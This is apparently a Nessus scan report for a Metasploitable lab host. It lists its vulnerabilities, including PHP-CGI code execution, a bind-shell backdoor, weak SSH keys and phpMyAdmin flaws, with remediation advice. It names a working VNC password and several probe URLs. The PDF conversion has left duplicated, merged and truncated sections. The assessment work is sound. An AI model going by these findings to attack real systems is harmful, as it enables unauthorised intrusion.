### Scan Information

Start time: Tue Aug 12 19:34:46 2025 End time: Tue Aug 12 21:10:30 2025

#### Host Information

Netbios Name: METASPLOITABLE

IP: 192.168.1.4

OS: Linux Kernel 2.6 on Ubuntu 8.04 (gutsy)

### **Vulnerabilities**

### 70728 - Apache PHP-CGI Remote Code Execution

### Synopsis

The remote web server contains a version of PHP that allows arbitrary code execution.

### Description

The PHP installation on the remote web server contains a flaw that could allow a remote attacker to pass command-line arguments as part of a query string to the PHP-CGI program. This could be abused to execute arbitrary code, reveal PHP source code, cause a system crash, etc.

#### Solution

Upgrade to PHP 5.3.13 / 5.4.3 or later.

#### Risk Factor

High

### CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

### 134862 - Apache Tomcat AJP Connector Request Injection (Ghostcat)

### Synopsis

There is a vulnerable AJP connector listening on the remote host.

### Description

A file read/inclusion vulnerability was found in AJP connector. A remote, unauthenticated attacker could exploit this vulnerability to read web application files from a vulnerable server. In instances where the vulnerable server allows file uploads, an attacker could upload malicious JavaServer Pages (JSP) code within a variety of file types and gain remote code execution (RCE).

### 171340 - Apache Tomcat SEoL (<= 5.5.x)

### Synopsis

An unsupported version of Apache Tomcat is installed on the remote host.

### Description

According to its version, Apache Tomcat is less than or equal to 5.5.x. It is, therefore, no longer maintained by its vendor or provider.

Lack of support implies that no new security patches for the product will be released by the vendor. As a result, it may contain security vulnerabilities.

#### See Also

https://tomcat.apache.org/tomcat-55-eol.html

#### Solution

Upgrade to a version of Apache Tomcat that is currently supported.

#### Risk Factor

Critical

#### CVSS v3.0 Base Score

### 51988 - Bind Shell Backdoor Detection

### Synopsis

The remote host may have been compromised.

### Description

A shell is listening on the remote port without any authentication being required. An attacker may use it by connecting to the remote port and sending commands directly.

#### Solution

Verify if the remote host has been compromised, and reinstall the system if necessary.

Risk Factor

Critical

# 32314 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness

Synopsis
The remote SSH host keys are weak.
Description
The remote SSH host key has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.
The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.
An attacker can easily obtain the private part of the remote key and use this to set up decipher the remote session or set up a man in the middle attack.
See Also
http://www.nessus.org/u?107f9bdc
http://www.nessus.org/u?f14f4224
Solution
Consider all cryptographic material generated on the remote host to be guessable. In particuliar, all SSH, SSL and OpenVPN key material should be re-generated.

### 20007 - SSL Version 2 and 3 Protocol Detection

### **Synopsis**

The remote service encrypts traffic using a protocol with known weaknesses.

### Description

The remote service accepts connections encrypted using SSL 2.0 and/or SSL 3.0. These versions of SSL are affected by several cryptographic flaws, including:

- An insecure padding scheme with CBC ciphers.
- Insecure session renegotiation and resumption schemes.

An attacker can exploit these flaws to conduct man-in-the-middle attacks or to decrypt communications between the affected service and clients.

Although SSL/TLS has a secure means for choosing the highest supported version of the protocol (so that these versions will be used only if the client or server support nothing better), many web browsers implement this in an unsafe way that allows an attacker to downgrade a connection (such as in POODLE). Therefore, it is recommended that these protocols be disabled entirely.

NIST has determined that SSL 3.0 is no longer acceptable for secure communications. As of the date of enforcement found in PCI DSS v3.1, any version of SSL will not meet the PCI SSC's definition of 'strong cryptography'.

https://www.imperialviolet.org/2014/10/14/poodle.html

https://tools.ietf.org/html/rfc7507

https://tools.ietf.org/html/rfc7568

#### Solution

Consult the application's documentation to disable SSL 2.0 and 3.0.

Use TLS 1.2 (with approved cipher suites) or higher instead.

The remote service encrypts traffic using a protocol with known weaknesses.

### Description

The remote service accepts connections encrypted using SSL 2.0 and/or SSL 3.0. These versions of SSL are affected by several cryptographic flaws, including:

- An insecure padding scheme with CBC ciphers.
- Insecure session renegotiation and resumption schemes.

An attacker can exploit these flaws to conduct man-in-the-middle attacks or to decrypt communications between the affected service and clients.

Although SSL/TLS has a secure means for choosing the highest supported version of the protocol (so that these versions will be used only if the client or server support nothing better), many web browsers implement this in an unsafe way that allows an attacker to downgrade a connection (such as in POODLE). Therefore, it is recommended that these protocols be disabled entirely.

NIST has determined that SSL 3.0 is no longer acceptable for secure communications. As of the date of enforcement found in PCI DSS v3.1, any version of SSL will not meet the PCI SSC's definition of 'strong cryptography'.

https://tools.ietf.org/html/rfc7507

https://tools.ietf.org/html/rfc7568

#### Solution

Consult the application's documentation to disable SSL 2.0 and 3.0.

Use TLS 1.2 (with approved cipher suites) or higher instead.

### 61708 - VNC Server 'password' Password

### Synopsis

A VNC server running on the remote host is secured with a weak password.

### Description

The VNC server running on the remote host is secured with a weak password. Nessus was able to login using VNC authentication and a password of 'password'. A remote, unauthenticated attacker could exploit this to take control of the system.

#### Solution

Secure the VNC service with a strong password.

# 125855 - phpMyAdmin prior to 4.8.6 SQLi vulnerablity (PMASA-2019-3)

Synopsis

The remote web server hosts a PHP application that is affected by SQLi vulnerability.
Description
According to its self-reported version number, the phpMyAdmin application hosted on the remote web server is prior to 4.8.6. It is, therefore, affected by a SQL injection (SQLi) vulnerability that exists in designer feature of phpMyAdmin. An unauthenticated, remote attacker can exploit this to inject or manipulate SQL queries in the back-end database, resulting in the disclosure or manipulation of arbitrary data.
Note that Nessus has not attempted to exploit these issues but has instead relied only on the application's self-reported version number.
See Also
http://www.nessus.org/u?c9d7fc8c
Solution
Upgrade to phpMyAdmin version 4.8.6 or later.
Alternatively, apply the patches referenced in the vendor advisories.

# 136769 - ISC BIND Service Downgrade / Reflected DoS

Synopsis
The remote name server is affected by Service Downgrade / Reflected DoS vulnerabilities.
Description
According to its self-reported version, the instance of ISC BIND 9 running on the remote name server is affected by performance downgrade and Reflected DoS vulnerabilities. This is due to BIND DNS not sufficiently limiting the number fetches which may be performed while processing a referral response.
An unauthenticated, remote attacker can exploit this to cause degrade the service of the recursive server or to use the affected server as a reflector in a reflection attack.
See Also

### 59088 - PHP PHP-CGI Query String Parameter Injection Arbitrary Code Execution

# Synopsis The remote web server contains a version of PHP that allows arbitrary code execution. Description The PHP installation on the remote web server contains a flaw that could allow a remote attacker to pass command-line arguments as part of a query string to the PHP-CGI program. This could be abused to execute arbitrary code, reveal PHP source code, cause a system crash, etc. See Also http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ http://www.php.net/archive/2012.php#id2012-05-08-1 http://www.php.net/ChangeLog-5.php#5.3.13 http://www.php.net/ChangeLog-5.php#5.4.3 http://www.nessus.org/u?80589ce8 https://www-304.ibm.com/support/docview.wss?uid=swg21620314 Solution If using Lotus Foundations, upgrade the Lotus Foundations operating system to version 1.2.2b or later. #### 90509 - Samba Badlock Vulnerability

# **Synopsis** An SMB server running on the remote host is affected by the Badlock vulnerability. Description The version of Samba, a CIFS/SMB server for Linux and Unix, running on the remote host is affected by a flaw, known as Badlock, that exists in the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) protocols due to improper authentication level negotiation over Remote Procedure Call (RPC) channels. A man-in-the-middle attacker who is able to able to intercept the traffic between a client and a server hosting a SAM database can exploit this flaw to force a downgrade of the authentication level, which allows the execution of arbitrary Samba network calls in the context of the intercepted user, such as viewing or modifying sensitive security data in the Active Directory (AD) database or disabling critical services. See Also http://badlock.org https://www.samba.org/samba/security/CVE-2016-2118.html Solution Upgrade to Samba version 4.2.11 / 4.3.8 / 4.4.2 or later. # 19704 - TWiki 'rev' Parameter Arbitrary Command Execution

Synopsis
The remote web server hosts a CGI application that is affected by an arbitrary command execution vulnerability.
Description
The version of TWiki running on the remote host allows an attacker to manipulate input to the 'rev' parameter in order to execute arbitrary shell commands on the remote host subject to the privileges of the web server user id.
See Also
http://www.nessus.org/u?c70904f3
Solution
Apply the appropriate hotfix referenced in the vendor advisory.

# 36171 - phpMyAdmin Setup Script Configuration Parameters Arbitrary PHP Code Injection (PMASA-2009-4)

Synopsis

The remote web server contains a PHP application that is affected by a code execution vulnerability.
Description
The setup script included with the version of phpMyAdmin installed on the remote host does not properly sanitize user-supplied input before using it to generate a config file for the application. This version is affected by the following vulnerabilities:
- The setup script inserts the unsanitized verbose server name into a C-style comment during config file generation.
- An attacker can save arbitrary data to the generated config file by altering the value of the 'textconfig' parameter during a POST request to config.php.
An unauthenticated, remote attacker can exploit these issues to execute arbitrary PHP code.
See Also
https://www.tenable.com/security/research/tra-2009-02
http://www.phpmyadmin.net/home_page/security/PMASA-2009-4.php
Solution
Upgrade to phpMyAdmin 3.1.3.2. Alternatively, apply the patches referenced in the project's advisory.

# 10205 - rlogin Service Detection

Metasploit (true)

Plugin Information

Published: 1999/08/30, Modified: 2022/04/11

# Synopsis The rlogin service is running on the remote host. Description The rlogin service is running on the remote host. This service is vulnerable since data is passed between the rlogin client and server in cleartext. A man-in-the-middle attacker can exploit this to sniff logins and passwords. Also, it may allow poorly authenticated logins without passwords. If the host is vulnerable to TCP sequence number guessing (from any network) or IP spoofing (including ARP hijacking on a local network) then it may be possible to bypass authentication. Finally, rlogin is an easy way to turn file-write access into full logins through the .rhosts or rhosts.equiv files. Solution Comment out the 'login' line in /etc/inetd.conf and restart the inetd process. Alternatively, disable this service and use SSH instead. Risk Factor High **VPR Score** 6.7 **EPSS Score** 0.5006 CVSS v2.0 Base Score 7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P) References CVE CVE-1999-0651 **Exploitable With**

# 12085 - Apache Tomcat Default Files

# Synopsis

The remote web server contains default files.

# Description

The default error page, default index page, example JSPs and/or example servlets are installed on the remote Apache Tomcat server. These files should be removed as they may help an attacker uncover information about the remote Tomcat install or host itself.

#### See Also

http://www.nessus.org/u?4cb3b4dd

https://www.owasp.org/index.php/Securing\_tomcat

#### Solution

Delete the default index page and remove the example JSP and servlets. Follow the Tomcat or OWASP instructions to replace or modify the default error page.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

Plugin Information

Published: 2004/03/02, Modified: 2024/09/03

#### Plugin Output

#### tcp/8180/www

```
The following default files were found :
```

http://192.168.1.4:8180/tomcat-docs/index.html

The server is not configured to return a custom page in the event of a client requesting a non-existent resource.

This may result in a potential disclosure of sensitive information about the server to attackers.

# 11411 - Backup Files Disclosure

# Synopsis

It is possible to retrieve file backups from the remote web server.

# Description

By appending various suffixes (ie: .old, .bak,  $\sim$ , etc...) to the names of various files on the remote host, it seems possible to retrieve their contents, which may result in disclosure of sensitive information.

#### See Also

http://www.nessus.org/u?8f3302c6

#### Solution

Ensure the files do not contain any sensitive information, such as credentials to connect to a database, and delete or protect those files that should not be accessible.

#### Risk Factor

Medium

#### CVSS v2.0 Base Score

# 44136 - CGI Generic Cookie Injection Scripting

# Synopsis

The remote web server is prone to cookie injection attacks.

# Description

The remote web server hosts at least one CGI script that fails to adequately sanitize request strings with malicious JavaScript.

By leveraging this issue, an attacker may be able to inject arbitrary cookies. Depending on the structure of the web application, it may be possible to launch a 'session fixation' attack using this mechanism.

#### Please note that:

- Nessus did not check if the session fixation attack is feasible.
- This is not the only vector of session fixation.

#### See Also

# 49067 - CGI Generic HTML Injections (quick test)

#### **Synopsis**

The remote web server may be prone to HTML injections.

# Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings with malicious JavaScript. By leveraging this issue, an attacker may be able to cause arbitrary HTML to be executed in a user's browser within the security context of the affected site.

The remote web server may be vulnerable to IFRAME injections or cross-site scripting attacks:

- IFRAME injections allow 'virtual defacement' that might scare or anger gullible users. Such injections are sometimes implemented for 'phishing' attacks.
- XSS are extensively tested by four other scripts.
- Some applications (e.g. web forums) authorize a subset of HTML without any ill effect. In this case, ignore this warning.

#### See Also

http://www.nessus.org/u?602759bc

#### Solution

Either restrict access to the vulnerable application or contact the vendor for an update.

#### Risk Factor

# 39466 - CGI Generic XSS (quick test)

# Synopsis

The remote web server is prone to cross-site scripting attacks.

# Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings with malicious JavaScript. By leveraging this issue, an attacker may be able to cause arbitrary HTML and script code to be executed in a user's browser within the security context of the affected site.

These XSS are likely to be 'non persistent' or 'reflected'.

# 12217 - DNS Server Cache Snooping Remote Information Disclosure

#### **Synopsis**

The remote DNS server is vulnerable to cache snooping attacks.

#### Description

The remote DNS server responds to queries for third-party domains that do not have the recursion bit set.

This may allow a remote attacker to determine which domains have recently been resolved via this name server, and therefore which hosts have been recently visited.

For instance, if an attacker was interested in whether your company utilizes the online services of a particular financial institution, they would be able to use this attack to build a statistical model regarding company usage of that financial institution. Of course, the attack can also be used to find B2B partners, web-surfing patterns, external mail servers, and more.

Note: If this is an internal DNS server not accessible to outside networks, attacks would be limited to the internal network. This may include employees, consultants and potentially users on a guest network or WiFi connection if supported.

#### See Also

http://cs.unc.edu/~fabian/course\_papers/cache\_snooping.pdf

#### Solution

Contact the vendor of the DNS software for a fix.

# 10595 - DNS Server Zone Transfer Information Disclosure (AXFR)

Synopsis
The remote name server allows zone transfers
Description
The remote name server allows DNS zone transfers to be performed.
A zone transfer lets a remote attacker instantly populate a list of potential targets. In addition, companies often use a naming convention that can give hints as to a servers primary application (for instance, proxy.example.com, payroll.example.com, b2b.example.com, etc.).
As such, this information is of great use to an attacker, who may use it to gain information about the topology of the network and spot new targets.
See Also
https://en.wikipedia.org/wiki/AXFR
Solution
Limit DNS zone transfers to only the servers that need the information.

# 139915 - ISC BIND 9.x < 9.11.22, 9.12.x < 9.16.6, 9.17.x < 9.17.4 DoS

Synopsis

The remote name server is affected by a denial of service vulnerability.
Description
According to its self-reported version number, the installation of ISC BIND running on the remote name server is version 9.x prior to 9.11.22, 9.12.x prior to 9.16.6 or 9.17.x prior to 9.17.4. It is, therefore, affected by a denial of service (DoS) vulnerability due to an assertion failure when attempting to verify a truncated response to a TSIG-signed request. An authenticated, remote attacker can exploit this issue by sending a truncated response to a TSIG-signed request to trigger an assertion failure, causing the server to exit.
Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.
See Also
https://kb.isc.org/docs/cve-2020-8622
Solution
Upgrade to BIND 9.11.22, 9.16.6, 9.17.4 or later.

# 136808 - ISC BIND Denial of Service

# Synopsis The remote name server is affected by an assertion failure vulnerability. Description A denial of service (DoS) vulnerability exists in ISC BIND versions 9.11.18 / 9.11.18-S1 / 9.12.4-P2 / 9.13 / 9.14.11 / 9.15 / 9.16.2 / 9.17 / 9.17.1 and earlier. An unauthenticated, remote attacker can exploit this issue, via a specially-crafted message, to cause the service to stop responding. Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number. See Also https://kb.isc.org/docs/cve-2020-8617 Solution Upgrade to the patched release most closely related to your current version of BIND. Risk Factor Medium CVSS v3.0 Base Score 5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H) CVSS v3.0 Temporal Score 5.3 (CVSS:3.0/E:P/RL:O/RC:C) **VPR Score** 4.4 **EPSS Score** 0.9234 CVSS v2.0 Base Score 4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P) CVSS v2.0 Temporal Score

# 33447 - Multiple Vendor DNS Query ID Field Prediction Cache Poisoning

Synopsis
The remote name resolver (or the server it uses upstream) is affected by a DNS cache poisoning vulnerability.
Description
The remote DNS resolver does not use random ports when making queries to third-party DNS servers. An unauthenticated, remote attacker can exploit this to poison the remote DNS server, allowing the attacker to divert legitimate traffic to arbitrary sites.
See Also

# 46803 - PHP expose\_php Information Disclosure

# Synopsis

The configuration of PHP on the remote host allows disclosure of sensitive information.

# Description

The PHP install on the remote server is configured in a way that allows disclosure of potentially sensitive information to an attacker through a special URL. Such a URL triggers an Easter egg built into PHP itself.

Other such Easter eggs likely exist, but Nessus has not checked for them.

#### See Also

https://www.0php.com/php\_easter\_egg.php

https://seclists.org/webappsec/2004/q4/324

#### Solution

In the PHP configuration file, php.ini, set the value for 'expose\_php' to 'Off' to disable this behavior. Restart the web server daemon to put this change into effect.

Nessus was able to verify the issue using the following URL :

http://192.168.1.4/dvwa/dvwa/includes/DBMS/DBMS.php/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000

# 57608 - SMB Signing not required

#### **Synopsis**

Signing is not required on the remote SMB server.

# Description

Signing is not required on the remote SMB server. An unauthenticated, remote attacker can exploit this to conduct man-in-the-middle attacks against the SMB server.

#### See Also

http://www.nessus.org/u?df39b8b3

http://technet.microsoft.com/en-us/library/cc731957.aspx

# 52611 - SMTP Service STARTTLS Plaintext Command Injection

**Synopsis** 

# The remote mail service allows plaintext command injection while negotiating an encrypted communications channel. Description The remote SMTP service contains a software flaw in its STARTTLS implementation that could allow a remote, unauthenticated attacker to inject commands during the plaintext protocol phase that will be executed during the ciphertext protocol phase. Successful exploitation could allow an attacker to steal a victim's email or associated SASL (Simple Authentication and Security Layer) credentials. See Also https://tools.ietf.org/html/rfc2487 https://www.securityfocus.com/archive/1/516901/30/0/threaded Solution Contact the vendor to see if an update is available. # 31705 - SSL Anonymous Cipher Suites Supported

Synopsis

# The remote service supports the use of anonymous SSL ciphers. Description The remote host supports the use of anonymous SSL ciphers. While this enables an administrator to set up a service that encrypts traffic without having to generate and configure SSL certificates, it offers no way to verify the remote host's identity and renders the service vulnerable to a man-in-the-middle attack. Note: This is considerably easier to exploit if the attacker is on the same physical network. See Also http://www.nessus.org/u?3a040ada Solution Reconfigure the affected application if possible to avoid use of weak ciphers. #### 51192 - SSL Certificate Cannot Be Trusted

#### **Synopsis**

The SSL certificate for this service cannot be trusted.

#### Description

The server's X.509 certificate cannot be trusted. This situation can occur in three different ways, in which the chain of trust can be broken, as stated below:

- First, the top of the certificate chain sent by the server might not be descended from a known public certificate authority. This can occur either when the top of the chain is an unrecognized, self-signed certificate, or when intermediate certificates are missing that would connect the top of the certificate chain to a known public certificate authority.
- Second, the certificate chain may contain a certificate that is not valid at the time of the scan. This can occur either when the scan occurs before one of the certificate's 'notBefore' dates, or after one of the certificate's 'notAfter' dates.
- Third, the certificate chain may contain a signature that either didn't match the certificate's information or could not be verified. Bad signatures can be fixed by getting the certificate with the bad signature to be re-signed by its issuer. Signatures that could not be verified are the result of the certificate's issuer using a signing algorithm that Nessus either does not support or does not recognize.

If the remote host is a public host in production, any break in the chain makes it more difficult for users to verify the authenticity and identity of the web server. This could make it easier to carry out man-in-the-middle attacks against the remote host.

# 89058 - SSL DROWN Attack Vulnerability (Decrypting RSA with Obsolete and Weakened eNcryption)

**Synopsis** 

# The remote host may be affected by a vulnerability that allows a remote attacker to potentially decrypt captured TLS traffic. Description The remote host supports SSLv2 and therefore may be affected by a vulnerability that allows a crossprotocol Bleichenbacher padding oracle attack known as DROWN (Decrypting RSA with Obsolete and Weakened eNcryption). This vulnerability exists due to a flaw in the Secure Sockets Layer Version 2 (SSLv2) implementation, and it allows captured TLS traffic to be decrypted. A man-in-the-middle attacker can exploit this to decrypt the TLS connection by utilizing previously captured traffic and weak cryptography along with a series of specially crafted connections to an SSLv2 server that uses the same private key. See Also https://drownattack.com/ https://drownattack.com/drown-attack-paper.pdf Solution Disable SSLv2 and export grade cryptography cipher suites. Ensure that private keys are not used anywhere with server software that supports SSLv2 connections. CVE CVE-2016-0800 XREF CERT:583776

# Plugin Information

Published: 2016/03/01, Modified: 2025/04/04

# Plugin Output

### tcp/25/smtp

The remote host is affected by SSL DROWN and supports the following vulnerable cipher suites :

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
EXP-RC2-CBC-MD5 export	0x04, 0x00, 0x80	RSA(512)	RSA	RC2-CBC(40)	MD5
EXP-RC4-MD5 export	0x02, 0x00, 0x80	RSA(512)	RSA	RC4 (40)	MD5

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	Encryption	MAC
RC4-MD5	$0 \times 01$ , $0 \times 00$ , $0 \times 80$	RSA	RSA	RC4 (128)	MD5

The fields above are :

{Tenable ciphername}
{Cipher ID code}

Kex={key exchange}

Auth={authentication}

Encrypt={symmetric encryption method}

MAC={message authentication code}
{export flag}

# 65821 - SSL RC4 Cipher Suites Supported (Bar Mitzvah)

### Synopsis

The remote service supports the use of the RC4 cipher.

# Description

The remote host supports the use of RC4 in one or more cipher suites.

The RC4 cipher is flawed in its generation of a pseudo-random stream of bytes so that a wide variety of small biases are introduced into the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an attacker is able to obtain many (i.e., tens of millions) ciphertexts, the attacker may be able to derive the plaintext.

https://www.imperva.com/docs/HII\_Attacking\_SSL\_when\_using\_RC4.pdf

#### Solution

Reconfigure the affected application, if possible, to avoid use of RC4 ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser and web server support.

# 57582 - SSL Self-Signed Certificate

#### Synopsis

The SSL certificate chain for this service ends in an unrecognized self-signed certificate.

# Description

The X.509 certificate chain for this service is not signed by a recognized certificate authority. If the remote host is a public host in production, this nullifies the use of SSL as anyone could establish a man-in-the-middle attack against the remote host.

Note that this plugin does not check for certificate chains that end in a certificate that is not self-signed, but is signed by an unrecognized certificate authority.

Solution

Purchase or generate a proper SSL certificate for this service.

# 81606 - SSL/TLS EXPORT\_RSA <= 512-bit Cipher Suites Supported (FREAK)

# Synopsis The remote host supports a set of weak ciphers. Description The remote host supports EXPORT\_RSA cipher suites with keys less than or equal to 512 bits. An attacker can factor a 512-bit RSA modulus in a short amount of time. A man-in-the middle attacker may be able to downgrade the session to use EXPORT RSA cipher suites (e.g. CVE-2015-0204). Thus, it is recommended to remove support for weak cipher suites. See Also https://www.smacktls.com/#freak https://www.openssl.org/news/secadv/20150108.txt http://www.nessus.org/u?b78da2c4 Solution Reconfigure the service to remove support for EXPORT\_RSA cipher suites. # 58751 - SSL/TLS Protocol Initialization Vector Implementation Information Disclosure Vulnerability (BEAST)

# Synopsis

It may be possible to obtain sensitive information from the remote host with SSL/TLS-enabled services.

### Description

A vulnerability exists in SSL 3.0 and TLS 1.0 that could allow information disclosure if an attacker intercepts encrypted traffic served from an affected system.

TLS 1.1, TLS 1.2, and all cipher suites that do not use CBC mode are not affected.

This plugin tries to establish an SSL/TLS remote connection using an affected SSL version and cipher suite and then solicits return data.

If returned application data is not fragmented with an empty or one-byte record, it is likely vulnerable.

OpenSSL uses empty fragments as a countermeasure unless the 'SSL\_OP\_DONT\_INSERT\_EMPTY\_FRAGMENTS' option is specified when OpenSSL is initialized.

Microsoft implemented one-byte fragments as a countermeasure, and the setting can be controlled via the registry key HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\SecurityProviders\SCHANNEL\SendExtraRecord.

Therefore, if multiple applications use the same SSL/TLS implementation, some may be vulnerable while others may not be, depending on whether or not a countermeasure has been enabled.

Note that this plugin detects the vulnerability in the SSLv3/TLSv1 protocol implemented in the server. It does not detect the BEAST attack where it exploits the vulnerability at HTTPS client-side (i.e., Internet browser). The detection at server-side does not necessarily mean your server is vulnerable to the BEAST attack, because the attack exploits the vulnerability at the client-side, and both SSL/TLS clients and servers can independently employ the split record countermeasure.

#### Solution

Configure SSL/TLS servers to only use TLS 1.1 or TLS 1.2 if supported.

Configure SSL/TLS servers to only support cipher suites that do not use block ciphers. Apply patches if available.

Note that additional configuration may be required after the installation of the MS12-006 security update in order to enable the split-record countermeasure. See Microsoft KB2643584 for details.

# 104743 - TLS Version 1.0 Protocol Detection

### **Synopsis**

The remote service encrypts traffic using an older version of TLS.

# Description

The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a number of cryptographic design flaws. Modern implementations of TLS 1.0 mitigate these problems, but newer versions of TLS like 1.2 and 1.3 are designed against these flaws and should be used whenever possible.

As of March 31, 2020, Endpoints that aren't enabled for TLS 1.2 and higher will no longer function properly with major web browsers and major vendors.

PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 30, 2018, except for POS POI terminals (and the SSL/TLS termination points to which they connect) that can be verified as not being susceptible to any known exploits.

#### See Also

https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00

#### Solution

Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0.

# 42263 - Unencrypted Telnet Server

# Synopsis

The remote Telnet server transmits traffic in cleartext.

# Description

The remote host is running a Telnet server over an unencrypted channel.

Using Telnet over an unencrypted channel is not recommended as logins, passwords, and commands are transferred in cleartext. This allows a remote, man-in-the-middle attacker to eavesdrop on a Telnet session to obtain credentials or other sensitive information and to modify traffic exchanged between a client and server.

SSH is preferred over Telnet since it protects credentials from eavesdropping and can tunnel additional data streams such as an X11 session.

#### Solution

Disable the Telnet service and use SSH instead.

### 85582 - Web Application Potentially Vulnerable to Clickjacking

### **Synopsis**

The remote web server may fail to mitigate a class of web application vulnerabilities.

### Description

The remote web server does not set an X-Frame-Options response header or a Content-Security-Policy 'frame-ancestors' response header in all content responses. This could potentially expose the site to a clickjacking or UI redress attack, in which an attacker can trick a user into clicking an area of the vulnerable page that is different than what the user perceives the page to be. This can result in a user performing fraudulent or malicious transactions.

X-Frame-Options has been proposed by Microsoft as a way to mitigate clickjacking attacks and is currently supported by all major browser vendors.

Content-Security-Policy (CSP) has been proposed by the W3C Web Application Security Working Group, with increasing support among all major browser vendors, as a way to mitigate clickjacking and other attacks. The 'frame-ancestors' policy directive restricts which sources can embed the protected resource.

Note that while the X-Frame-Options and Content-Security-Policy response headers are not the only mitigations for clickjacking, they are currently the most reliable methods that can be detected through automation. Therefore, this plugin may produce false positives if other mitigation strategies (e.g., frame-busting JavaScript) are deployed or if the page does not perform any security-sensitive transactions.

### See Also

http://www.nessus.org/u?399b1f56

https://www.owasp.org/index.php/Clickjacking\_Defense\_Cheat\_Sheet

# 11229 - Web Server info.php / phpinfo.php Detection

# Synopsis

The remote web server contains a PHP script that is prone to an information disclosure attack.

# Description

Many PHP installation tutorials instruct the user to create a PHP file that calls the PHP function 'phpinfo()' for debugging purposes. Various PHP applications may also include such a file. By accessing such a file, a remote attacker can discover a large amount of information about the remote web server, including:

- The username of the user who installed PHP and if they are a SUDO user.
- The IP address of the host.
- The version of the operating system.
- The web server version.
- The root directory of the web server.
- Configuration information about the remote PHP installation.

### Solution

Remove the affected file(s).

Risk Factor

Medium

Plugin Output

tcp/80/www

Nessus discovered the following URLs that call phpinfo() :

- http://192.168.1.4/phpinfo.php

- http://192.168.1.4/mutillidae/phpinfo.php

# 51425 - phpMyAdmin error.php BBcode Tag XSS (PMASA-2010-9)

# Synopsis The remote web server hosts a PHP script that is prone to a cross- site scripting attack. Description The version of phpMyAdmin fails to validate BBcode tags in user input to the 'error' parameter of the 'error.php' script before using it to generate dynamic HTML. An attacker may be able to leverage this issue to inject arbitrary HTML or script code into a user's browser to be executed within the security context of the affected site. For example, this could be used to cause a page with arbitrary text and a link to an external site to be displayed. See Also https://www.phpmyadmin.net/security/PMASA-2010-9/ Solution Upgrade to phpMyAdmin 3.4.0-beta1 or later. Nessus was able to exploit the issue using the following URL :

# 36083 - phpMyAdmin file\_path Parameter Vulnerabilities (PMASA-2009-1)

# Synopsis

The remote web server contains a PHP script that is affected by multiple issues.

# Description

The version of phpMyAdmin installed on the remote host fails to sanitize user-supplied input to the 'file\_path' parameter of the 'bs\_disp\_as\_mime\_type.php' script before using it to read a file and reporting it in dynamically-generated HTML. An unauthenticated, remote attacker may be able to leverage this issue to read arbitrary files, possibly from third-party hosts, or to inject arbitrary HTTP headers in responses sent to third-party users.

Note that the application is also reportedly affected by several other issues, although Nessus has not actually checked for them.

### See Also

# 49142 - phpMyAdmin setup.php Verbose Server Name XSS (PMASA-2010-7)

# Synopsis

The remote web server contains a PHP application that has a cross- site scripting vulnerability.

# Description

The setup script included with the version of phpMyAdmin installed on the remote host does not properly sanitize user-supplied input to the 'verbose server name' field.

A remote attacker could exploit this by tricking a user into executing arbitrary script code.

### 10114 - ICMP Timestamp Request Remote Date Disclosure

# Synopsis It is possible to determine the exact time set on the remote host. Description The remote host answers to an ICMP timestamp request. This allows an attacker to know the date that is set on the targeted machine, which may assist an unauthenticated, remote attacker in defeating timebased authentication protocols. Timestamps returned from machines running Windows Vista / 7 / 2008 / 2008 R2 are deliberately incorrect, but usually within 1000 seconds of the actual system time. Solution Filter out the ICMP timestamp requests (13), and the outgoing ICMP timestamp replies (14). Risk Factor Low **VPR** Score 2.2 **EPSS Score** 0.0037 CVSS v2.0 Base Score 2.1 (CVSS2#AV:L/AC:L/Au:N/C:P/I:N/A:N) References CVE CVE-1999-0524 XRFF CWF:200 Plugin Information Published: 1999/08/01, Modified: 2024/10/07

## 78479 - SSLv3 Padding Oracle On Downgraded Legacy Encryption Vulnerability (POODLE)

#### Synopsis

It is possible to obtain sensitive information from the remote host with SSL/TLS-enabled services.

#### Description

The remote host is affected by a man-in-the-middle (MitM) information disclosure vulnerability known as POODLE. The vulnerability is due to the way SSL 3.0 handles padding bytes when decrypting messages encrypted using block ciphers in cipher block chaining (CBC) mode.

MitM attackers can decrypt a selected byte of a cipher text in as few as 256 tries if they are able to force a victim application to repeatedly send the same data over newly created SSL 3.0 connections.

As long as a client and service both support SSLv3, a connection can be 'rolled back' to SSLv3, even if TLSv1 or newer is supported by the client and service.

The TLS Fallback SCSV mechanism prevents 'version rollback' attacks without impacting legacy clients; however, it can only protect connections when the client and service support the mechanism. Sites that cannot disable SSLv3 immediately should enable this mechanism.

This is a vulnerability in the SSLv3 specification, not in any particular SSL implementation. Disabling SSLv3 is the only way to completely mitigate the vulnerability.

#### See Also

https://www.imperialviolet.org/2014/10/14/poodle.html

https://www.openssl.org/~bodo/ssl-poodle.pdf

https://tools.ietf.org/html/draft-ietf-tls-downgrade-scsv-00

#### Solution

#### Disable SSLv3.

Services that must support SSLv3 should enable the TLS Fallback SCSV mechanism until SSLv3 can be disabled.

